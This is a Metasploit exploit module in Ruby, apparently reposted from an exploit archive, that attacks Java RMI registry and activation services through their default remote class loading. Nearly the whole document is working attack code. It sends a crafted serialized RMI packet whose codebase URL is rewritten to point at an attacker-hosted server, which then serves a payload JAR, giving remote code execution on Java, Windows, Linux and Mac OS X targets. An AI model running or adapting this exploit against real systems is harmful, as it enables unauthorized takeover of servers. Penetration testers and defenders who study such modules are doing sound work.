Java RMI Server Insecure Default Configuration Java Code Execution

##
# $Id: java_rmi_server.rb 13186 2011-07-15 20:44:08Z egypt $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::HttpServer
    include Msf::Exploit::Remote::Tcp
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Java RMI Server Insecure Default Configuration Java Code Execution',
            'Description'    => %q{
                    This module takes advantage of the default configuration of the RMI Registry and
                RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it
                invokes a method in the RMI Distributed Garbage Collector which is available via every
                RMI endpoint, it can be used against both rmiregistry and rmid, and against most other
                (custom) RMI endpoints as well.
 
                    Note that it does not work against Java Management Extension (JMX) ports since those do
                not support remote class loading, unless another RMI endpoint is active in the same
                Java process.
                 
                    RMI method calls do not support or require any sort of authentication.
            },
            'Author'         => [ 'mihi' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 13186 $',
            'References'     =>
                [
                    # RMI protocol specification
                    [ 'URL', 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'],
                ],
            'Platform'       => ['java', 'win', 'osx', 'linux', 'solaris'],
            'Privileged'     => true,
            'Payload'       => { 'BadChars' => '', 'DisableNops' => true },
            'Stance'        => Msf::Exploit::Stance::Aggressive,
            'Targets'       =>
                [
                    [ 'Generic (Java Payload)',
                        {
                            'Platform' => ['java'],
                            'Arch' => ARCH_JAVA
                        }
                    ],
                    [ 'Windows x86 (Native Payload)',
                        {
                            'Platform' => 'win',
                            'Arch' => ARCH_X86,
                        }
                    ],
                    [ 'Linux x86 (Native Payload)',
                        {
                            'Platform' => 'linux',
                            'Arch' => ARCH_X86,
                        }
                    ],
                    [ 'Mac OS X PPC (Native Payload)',
                        {
                            'Platform' => 'osx',
                            'Arch' => ARCH_PPC,
                        }
                    ],
                    [ 'Mac OS X x86 (Native Payload)',
                        {
                            'Platform' => 'osx',
                            'Arch' => ARCH_X86,
                        }
                    ]
                ],
            'DefaultTarget' => 1
        ))
        register_options( [ Opt::RPORT(1099) ], self.class)
    end
 
    def exploit
        start_service()
        connect
 
        jar = rand_text_alpha(rand(8)+1) + '.jar'
        old_url = "file:./rmidummy.jar"
        new_url = get_uri + '/' + jar
        packet = gen_rmi_packet
        # Java strings in serialized data are prefixed with a 2-byte, big endian length
        # (at least, as long as they are shorter than 65536 bytes)
        find_me = [old_url.length].pack("n") + old_url
        idx = packet.index(find_me)
        len = [new_url.length].pack("n")
        # Now replace it with the new url
        packet[idx, find_me.length] = len + new_url
 
        # write out minimal header and packet
        print_status("Sending request for #{new_url}")
        #sock.put("JRMI" + [2].pack("n") + "K" + [0].pack("n") + [0].pack("N") + packet);
        sock.put("JRMI" + [2,0x4b,0,0].pack("nCnN") + packet);
 
        # wait for the request to be handled
        while not session_created?
            select(nil, nil, nil, 0.25)
            handler()
        end    
         
    end
 
    def on_request_uri(cli, request)
        if request.uri =~ /\.jar$/i    
            p = regenerate_payload(cli)
            jar = p.encoded_jar
            paths = [
                [ "metasploit", "RMILoader.class" ],
                [ "metasploit", "RMIPayload.class" ],
            ]
            jar.add_files(paths, [ Msf::Config.data_directory, "java" ])
 
            send_response(cli, jar.pack,
            {
                'Content-Type' => 'application/java-archive',
                'Connection'   => 'close',
                'Pragma'       => 'no-cache'
            })
 
            print_status("Replied to Request for Payload JAR")
        end
    end
 
     
    def gen_rmi_packet
        "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" +
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
        "\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a" +
        "\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f" +
        "\x62\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00" +
        "\x70\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00" +
        "\x00\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e" +
        "\x52\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2" +
        "\xf4\x02\x00\x00\x74\x00\x13\x66\x69\x6c\x65\x3a\x2e\x2f\x72\x6d" +
        "\x69\x64\x75\x6d\x6d\x79\x2e\x6a\x61\x72\x78\x70\x77\x01\x00\x0a"
    end
 
end



#  0day.today [2018-04-12]  #